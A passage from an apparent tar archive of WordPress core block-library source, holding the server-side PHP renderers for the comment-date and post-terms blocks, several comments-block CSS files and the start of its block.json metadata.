isset( $attributes['format'] ) && 'human-diff' === $attributes['format'] ) { // translators: %s: human-readable time difference. $formatted_date = sprintf( __( '%s ago' ), human_time_diff( get_comment_date( 'U', $comment ) ) ); } else { $formatted_date = get_comment_date( empty( $attributes['format'] ) ? '' : $attributes['format'], $comment ); } $link = get_comment_link( $comment ); if ( ! empty( $attributes['isLink'] ) ) { $formatted_date = sprintf( '<a href="%1s">%2s</a>', esc_url( $link ), $formatted_date ); } return sprintf( '<div %1$s><time datetime="%2$s">%3$s</time></div>', $wrapper_attributes, esc_attr( get_comment_date( 'c', $comment ) ), $formatted_date ); } /** * Registers the `core/comment-date` block on the server. * * @since 6.0.0 */ function register_block_core_comment_date() { register_block_type_from_metadata( __DIR__ . '/comment-date', array( 'render_callback' => 'render_block_core_comment_date', ) ); } add_action( 'init', 'register_block_core_comment_date' ); post-terms.php 0000644 00000007070 15217610760 0007403 0 ustar 00 <?php /** * Server-side rendering of the `core/post-terms` block. * * @package WordPress */ /** * Renders the `core/post-terms` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the filtered post terms for the current post wrapped inside "a" tags. */ function render_block_core_post_terms( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) || ! isset( $attributes['term'] ) ) { return ''; } if ( ! is_taxonomy_viewable( $attributes['term'] ) ) { return ''; } $classes = array( 'taxonomy-' . $attributes['term'] ); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $separator = empty( $attributes['separator'] ) ? ' ' : $attributes['separator']; $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); $prefix = "<div $wrapper_attributes>"; if ( isset( $attributes['prefix'] ) && $attributes['prefix'] ) { $prefix .= '<span class="wp-block-post-terms__prefix">' . $attributes['prefix'] . '</span>'; } $suffix = '</div>'; if ( isset( $attributes['suffix'] ) && $attributes['suffix'] ) { $suffix = '<span class="wp-block-post-terms__suffix">' . $attributes['suffix'] . '</span>' . $suffix; } $post_terms = get_the_term_list( $block->context['postId'], $attributes['term'], wp_kses_post( $prefix ), '<span class="wp-block-post-terms__separator">' . esc_html( $separator ) . '</span>', wp_kses_post( $suffix ) ); if ( is_wp_error( $post_terms ) || empty( $post_terms ) ) { return ''; } return $post_terms; } /** * Returns the available variations for the `core/post-terms` block. * * @since 6.5.0 * * @return array The available variations for the block. */ function block_core_post_terms_build_variations() { $taxonomies = get_taxonomies( array( 'publicly_queryable' => true, 'show_in_rest' => true, ), 'objects' ); // Split the available taxonomies to `built_in` and custom ones, // in order to prioritize the `built_in` taxonomies at the // search results. $built_ins = array(); $custom_variations = array(); // Create and register the eligible taxonomies variations. foreach ( $taxonomies as $taxonomy ) { $variation = array( 'name' => $taxonomy->name, 'title' => $taxonomy->label, 'description' => sprintf( /* translators: %s: taxonomy's label */ __( 'Display a list of assigned terms from the taxonomy: %s' ), $taxonomy->label ), 'attributes' => array( 'term' => $taxonomy->name, ), 'isActive' => array( 'term' ), 'scope' => array( 'inserter', 'transform' ), ); // Set the category variation as the default one. if ( 'category' === $taxonomy->name ) { $variation['isDefault'] = true; } if ( $taxonomy->_builtin ) { $built_ins[] = $variation; } else { $custom_variations[] = $variation; } } return array_merge( $built_ins, $custom_variations ); } /** * Registers the `core/post-terms` block on the server. * * @since 5.8.0 */ function register_block_core_post_terms() { register_block_type_from_metadata( __DIR__ . '/post-terms', array( 'render_callback' => 'render_block_core_post_terms', 'variation_callback' => 'block_core_post_terms_build_variations', ) ); } add_action( 'init', 'register_block_core_post_terms' ); comments/editor.min.css 0000666 00000010552 15217610760 0011167 0 ustar 00 .wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:left}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:right}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none} comments/style-rtl.css 0000644 00000005504 15217610760 0011053 0 ustar 00 /** * Colors */ /* Styles for backwards compatibility with the legacy `post-comments` block */ .wp-block-post-comments { box-sizing: border-box; /* utility classes */ } .wp-block-post-comments .alignleft { float: right; } .wp-block-post-comments .alignright { float: left; } .wp-block-post-comments { /* end utility classes */ } .wp-block-post-comments .navigation::after { content: ""; display: table; clear: both; } .wp-block-post-comments .commentlist { clear: both; list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .commentlist .comment { min-height: 2.25em; padding-right: 3.25em; } .wp-block-post-comments .commentlist .comment p { font-size: 1em; line-height: 1.8; margin: 1em 0; } .wp-block-post-comments .commentlist .children { list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .comment-author { line-height: 1.5; } .wp-block-post-comments .comment-author .avatar { border-radius: 1.5em; display: block; float: right; height: 2.5em; margin-top: 0.5em; margin-left: 0.75em; width: 2.5em; } .wp-block-post-comments .comment-author cite { font-style: normal; } .wp-block-post-comments .comment-meta { font-size: 0.875em; line-height: 1.5; } .wp-block-post-comments .comment-meta b { font-weight: normal; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation { margin-top: 1em; margin-bottom: 1em; display: block; } .wp-block-post-comments .comment-body .commentmetadata { font-size: 0.875em; } .wp-block-post-comments .comment-form-comment label, .wp-block-post-comments .comment-form-author label, .wp-block-post-comments .comment-form-email label, .wp-block-post-comments .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments .comment-form textarea, .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-right: 0.5em; } .wp-block-post-comments .reply { font-size: 0.875em; margin-bottom: 1.4em; } .wp-block-post-comments textarea, .wp-block-post-comments input:not([type=submit]) { border: 1px solid #949494; font-size: 1em; font-family: inherit; } .wp-block-post-comments textarea, .wp-block-post-comments input:not([type=submit]):not([type=checkbox]) { padding: calc(0.667em + 2px); } :where(.wp-block-post-comments input[type=submit]) { border: none; } .wp-block-comments { box-sizing: border-box; } comments/style.css 0000644 00000005502 15217610760 0010252 0 ustar 00 /** * Colors */ /* Styles for backwards compatibility with the legacy `post-comments` block */ .wp-block-post-comments { box-sizing: border-box; /* utility classes */ } .wp-block-post-comments .alignleft { float: left; } .wp-block-post-comments .alignright { float: right; } .wp-block-post-comments { /* end utility classes */ } .wp-block-post-comments .navigation::after { content: ""; display: table; clear: both; } .wp-block-post-comments .commentlist { clear: both; list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .commentlist .comment { min-height: 2.25em; padding-left: 3.25em; } .wp-block-post-comments .commentlist .comment p { font-size: 1em; line-height: 1.8; margin: 1em 0; } .wp-block-post-comments .commentlist .children { list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .comment-author { line-height: 1.5; } .wp-block-post-comments .comment-author .avatar { border-radius: 1.5em; display: block; float: left; height: 2.5em; margin-top: 0.5em; margin-right: 0.75em; width: 2.5em; } .wp-block-post-comments .comment-author cite { font-style: normal; } .wp-block-post-comments .comment-meta { font-size: 0.875em; line-height: 1.5; } .wp-block-post-comments .comment-meta b { font-weight: normal; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation { margin-top: 1em; margin-bottom: 1em; display: block; } .wp-block-post-comments .comment-body .commentmetadata { font-size: 0.875em; } .wp-block-post-comments .comment-form-comment label, .wp-block-post-comments .comment-form-author label, .wp-block-post-comments .comment-form-email label, .wp-block-post-comments .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments .comment-form textarea, .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-left: 0.5em; } .wp-block-post-comments .reply { font-size: 0.875em; margin-bottom: 1.4em; } .wp-block-post-comments textarea, .wp-block-post-comments input:not([type=submit]) { border: 1px solid #949494; font-size: 1em; font-family: inherit; } .wp-block-post-comments textarea, .wp-block-post-comments input:not([type=submit]):not([type=checkbox]) { padding: calc(0.667em + 2px); } :where(.wp-block-post-comments input[type=submit]) { border: none; } .wp-block-comments { box-sizing: border-box; } comments/style-rtl.min.css 0000666 00000004501 15217610760 0011635 0 ustar 00 .wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:right}.wp-block-post-comments .alignright{float:left}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box} comments/style.min.css 0000666 00000004477 15217610760 0011052 0 ustar 00 .wp-block-post-comments{box-sizing:border-box}.wp-block-post-comments .alignleft{float:left}.wp-block-post-comments .alignright{float:right}.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-left:3.25em}.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;margin-top:.5em;width:2.5em}.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-left:.5em}.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box} comments/editor-rtl.min.css 0000666 00000010554 15217610760 0011770 0 ustar 00 .wp-block-comments__legacy-placeholder,.wp-block-post-comments{box-sizing:border-box}.wp-block-comments__legacy-placeholder .alignleft,.wp-block-post-comments .alignleft{float:right}.wp-block-comments__legacy-placeholder .alignright,.wp-block-post-comments .alignright{float:left}.wp-block-comments__legacy-placeholder .navigation:after,.wp-block-post-comments .navigation:after{clear:both;content:"";display:table}.wp-block-comments__legacy-placeholder .commentlist,.wp-block-post-comments .commentlist{clear:both;list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .commentlist .comment,.wp-block-post-comments .commentlist .comment{min-height:2.25em;padding-right:3.25em}.wp-block-comments__legacy-placeholder .commentlist .comment p,.wp-block-post-comments .commentlist .comment p{font-size:1em;line-height:1.8;margin:1em 0}.wp-block-comments__legacy-placeholder .commentlist .children,.wp-block-post-comments .commentlist .children{list-style:none;margin:0;padding:0}.wp-block-comments__legacy-placeholder .comment-author,.wp-block-post-comments .comment-author{line-height:1.5}.wp-block-comments__legacy-placeholder .comment-author .avatar,.wp-block-post-comments .comment-author .avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;margin-top:.5em;width:2.5em}.wp-block-comments__legacy-placeholder .comment-author cite,.wp-block-post-comments .comment-author cite{font-style:normal}.wp-block-comments__legacy-placeholder .comment-meta,.wp-block-post-comments .comment-meta{font-size:.875em;line-height:1.5}.wp-block-comments__legacy-placeholder .comment-meta b,.wp-block-post-comments .comment-meta b{font-weight:400}.wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation,.wp-block-post-comments .comment-meta .comment-awaiting-moderation{display:block;margin-bottom:1em;margin-top:1em}.wp-block-comments__legacy-placeholder .comment-body .commentmetadata,.wp-block-post-comments .comment-body .commentmetadata{font-size:.875em}.wp-block-comments__legacy-placeholder .comment-form-author label,.wp-block-comments__legacy-placeholder .comment-form-comment label,.wp-block-comments__legacy-placeholder .comment-form-email label,.wp-block-comments__legacy-placeholder .comment-form-url label,.wp-block-post-comments .comment-form-author label,.wp-block-post-comments .comment-form-comment label,.wp-block-post-comments .comment-form-email label,.wp-block-post-comments .comment-form-url label{display:block;margin-bottom:.25em}.wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder .comment-form textarea,.wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments .comment-form textarea{box-sizing:border-box;display:block;width:100%}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent{display:flex;gap:.25em}.wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent,.wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent{margin-top:.35em}.wp-block-comments__legacy-placeholder .comment-reply-title,.wp-block-post-comments .comment-reply-title{margin-bottom:0}.wp-block-comments__legacy-placeholder .comment-reply-title :where(small),.wp-block-post-comments .comment-reply-title :where(small){font-size:var(--wp--preset--font-size--medium,smaller);margin-right:.5em}.wp-block-comments__legacy-placeholder .reply,.wp-block-post-comments .reply{font-size:.875em;margin-bottom:1.4em}.wp-block-comments__legacy-placeholder input:not([type=submit]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]),.wp-block-post-comments textarea{border:1px solid #949494;font-family:inherit;font-size:1em}.wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]),.wp-block-comments__legacy-placeholder textarea,.wp-block-post-comments input:not([type=submit]):not([type=checkbox]),.wp-block-post-comments textarea{padding:calc(.667em + 2px)}:where(.wp-block-post-comments input[type=submit],.wp-block-comments__legacy-placeholder input[type=submit]){border:none}.wp-block-comments{box-sizing:border-box}.block-library-comments-toolbar__popover .components-popover__content{min-width:230px}.wp-block-comments__legacy-placeholder *{pointer-events:none} comments/editor-rtl.css 0000644 00000011711 15217610760 0011176 0 ustar 00 /** * Colors */ /* Styles for backwards compatibility with the legacy `post-comments` block */ .wp-block-post-comments, .wp-block-comments__legacy-placeholder { box-sizing: border-box; /* utility classes */ } .wp-block-post-comments .alignleft, .wp-block-comments__legacy-placeholder .alignleft { float: right; } .wp-block-post-comments .alignright, .wp-block-comments__legacy-placeholder .alignright { float: left; } .wp-block-post-comments, .wp-block-comments__legacy-placeholder { /* end utility classes */ } .wp-block-post-comments .navigation::after, .wp-block-comments__legacy-placeholder .navigation::after { content: ""; display: table; clear: both; } .wp-block-post-comments .commentlist, .wp-block-comments__legacy-placeholder .commentlist { clear: both; list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .commentlist .comment, .wp-block-comments__legacy-placeholder .commentlist .comment { min-height: 2.25em; padding-right: 3.25em; } .wp-block-post-comments .commentlist .comment p, .wp-block-comments__legacy-placeholder .commentlist .comment p { font-size: 1em; line-height: 1.8; margin: 1em 0; } .wp-block-post-comments .commentlist .children, .wp-block-comments__legacy-placeholder .commentlist .children { list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .comment-author, .wp-block-comments__legacy-placeholder .comment-author { line-height: 1.5; } .wp-block-post-comments .comment-author .avatar, .wp-block-comments__legacy-placeholder .comment-author .avatar { border-radius: 1.5em; display: block; float: right; height: 2.5em; margin-top: 0.5em; margin-left: 0.75em; width: 2.5em; } .wp-block-post-comments .comment-author cite, .wp-block-comments__legacy-placeholder .comment-author cite { font-style: normal; } .wp-block-post-comments .comment-meta, .wp-block-comments__legacy-placeholder .comment-meta { font-size: 0.875em; line-height: 1.5; } .wp-block-post-comments .comment-meta b, .wp-block-comments__legacy-placeholder .comment-meta b { font-weight: normal; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation, .wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation { margin-top: 1em; margin-bottom: 1em; display: block; } .wp-block-post-comments .comment-body .commentmetadata, .wp-block-comments__legacy-placeholder .comment-body .commentmetadata { font-size: 0.875em; } .wp-block-post-comments .comment-form-comment label, .wp-block-comments__legacy-placeholder .comment-form-comment label, .wp-block-post-comments .comment-form-author label, .wp-block-comments__legacy-placeholder .comment-form-author label, .wp-block-post-comments .comment-form-email label, .wp-block-comments__legacy-placeholder .comment-form-email label, .wp-block-post-comments .comment-form-url label, .wp-block-comments__legacy-placeholder .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments .comment-form textarea, .wp-block-comments__legacy-placeholder .comment-form textarea, .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]), .wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments .comment-form-cookies-consent, .wp-block-comments__legacy-placeholder .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent, .wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments .comment-reply-title, .wp-block-comments__legacy-placeholder .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments .comment-reply-title :where(small), .wp-block-comments__legacy-placeholder .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-right: 0.5em; } .wp-block-post-comments .reply, .wp-block-comments__legacy-placeholder .reply { font-size: 0.875em; margin-bottom: 1.4em; } .wp-block-post-comments textarea, .wp-block-comments__legacy-placeholder textarea, .wp-block-post-comments input:not([type=submit]), .wp-block-comments__legacy-placeholder input:not([type=submit]) { border: 1px solid #949494; font-size: 1em; font-family: inherit; } .wp-block-post-comments textarea, .wp-block-comments__legacy-placeholder textarea, .wp-block-post-comments input:not([type=submit]):not([type=checkbox]), .wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]) { padding: calc(0.667em + 2px); } :where(.wp-block-post-comments input[type=submit], .wp-block-comments__legacy-placeholder input[type=submit]) { border: none; } .wp-block-comments { box-sizing: border-box; } .block-library-comments-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-comments__legacy-placeholder * { pointer-events: none; } comments/editor.css 0000644 00000011707 15217610760 0010404 0 ustar 00 /** * Colors */ /* Styles for backwards compatibility with the legacy `post-comments` block */ .wp-block-post-comments, .wp-block-comments__legacy-placeholder { box-sizing: border-box; /* utility classes */ } .wp-block-post-comments .alignleft, .wp-block-comments__legacy-placeholder .alignleft { float: left; } .wp-block-post-comments .alignright, .wp-block-comments__legacy-placeholder .alignright { float: right; } .wp-block-post-comments, .wp-block-comments__legacy-placeholder { /* end utility classes */ } .wp-block-post-comments .navigation::after, .wp-block-comments__legacy-placeholder .navigation::after { content: ""; display: table; clear: both; } .wp-block-post-comments .commentlist, .wp-block-comments__legacy-placeholder .commentlist { clear: both; list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .commentlist .comment, .wp-block-comments__legacy-placeholder .commentlist .comment { min-height: 2.25em; padding-left: 3.25em; } .wp-block-post-comments .commentlist .comment p, .wp-block-comments__legacy-placeholder .commentlist .comment p { font-size: 1em; line-height: 1.8; margin: 1em 0; } .wp-block-post-comments .commentlist .children, .wp-block-comments__legacy-placeholder .commentlist .children { list-style: none; margin: 0; padding: 0; } .wp-block-post-comments .comment-author, .wp-block-comments__legacy-placeholder .comment-author { line-height: 1.5; } .wp-block-post-comments .comment-author .avatar, .wp-block-comments__legacy-placeholder .comment-author .avatar { border-radius: 1.5em; display: block; float: left; height: 2.5em; margin-top: 0.5em; margin-right: 0.75em; width: 2.5em; } .wp-block-post-comments .comment-author cite, .wp-block-comments__legacy-placeholder .comment-author cite { font-style: normal; } .wp-block-post-comments .comment-meta, .wp-block-comments__legacy-placeholder .comment-meta { font-size: 0.875em; line-height: 1.5; } .wp-block-post-comments .comment-meta b, .wp-block-comments__legacy-placeholder .comment-meta b { font-weight: normal; } .wp-block-post-comments .comment-meta .comment-awaiting-moderation, .wp-block-comments__legacy-placeholder .comment-meta .comment-awaiting-moderation { margin-top: 1em; margin-bottom: 1em; display: block; } .wp-block-post-comments .comment-body .commentmetadata, .wp-block-comments__legacy-placeholder .comment-body .commentmetadata { font-size: 0.875em; } .wp-block-post-comments .comment-form-comment label, .wp-block-comments__legacy-placeholder .comment-form-comment label, .wp-block-post-comments .comment-form-author label, .wp-block-comments__legacy-placeholder .comment-form-author label, .wp-block-post-comments .comment-form-email label, .wp-block-comments__legacy-placeholder .comment-form-email label, .wp-block-post-comments .comment-form-url label, .wp-block-comments__legacy-placeholder .comment-form-url label { display: block; margin-bottom: 0.25em; } .wp-block-post-comments .comment-form textarea, .wp-block-comments__legacy-placeholder .comment-form textarea, .wp-block-post-comments .comment-form input:not([type=submit]):not([type=checkbox]), .wp-block-comments__legacy-placeholder .comment-form input:not([type=submit]):not([type=checkbox]) { display: block; box-sizing: border-box; width: 100%; } .wp-block-post-comments .comment-form-cookies-consent, .wp-block-comments__legacy-placeholder .comment-form-cookies-consent { display: flex; gap: 0.25em; } .wp-block-post-comments .comment-form-cookies-consent #wp-comment-cookies-consent, .wp-block-comments__legacy-placeholder .comment-form-cookies-consent #wp-comment-cookies-consent { margin-top: 0.35em; } .wp-block-post-comments .comment-reply-title, .wp-block-comments__legacy-placeholder .comment-reply-title { margin-bottom: 0; } .wp-block-post-comments .comment-reply-title :where(small), .wp-block-comments__legacy-placeholder .comment-reply-title :where(small) { font-size: var(--wp--preset--font-size--medium, smaller); margin-left: 0.5em; } .wp-block-post-comments .reply, .wp-block-comments__legacy-placeholder .reply { font-size: 0.875em; margin-bottom: 1.4em; } .wp-block-post-comments textarea, .wp-block-comments__legacy-placeholder textarea, .wp-block-post-comments input:not([type=submit]), .wp-block-comments__legacy-placeholder input:not([type=submit]) { border: 1px solid #949494; font-size: 1em; font-family: inherit; } .wp-block-post-comments textarea, .wp-block-comments__legacy-placeholder textarea, .wp-block-post-comments input:not([type=submit]):not([type=checkbox]), .wp-block-comments__legacy-placeholder input:not([type=submit]):not([type=checkbox]) { padding: calc(0.667em + 2px); } :where(.wp-block-post-comments input[type=submit], .wp-block-comments__legacy-placeholder input[type=submit]) { border: none; } .wp-block-comments { box-sizing: border-box; } .block-library-comments-toolbar__popover .components-popover__content { min-width: 230px; } .wp-block-comments__legacy-placeholder * { pointer-events: none; } comments/block.json 0000644 00000002615 15217610760 0010367 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comments", "title": "Comments", "category": "theme", "description": "An advanced block that allows displaying post comments using different visual configurations.", "textdomain": "default", "attributes": { "tagName": { "type": "string", "default": "div" }, "legacy": { "type": "boolean", "default": false } }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } 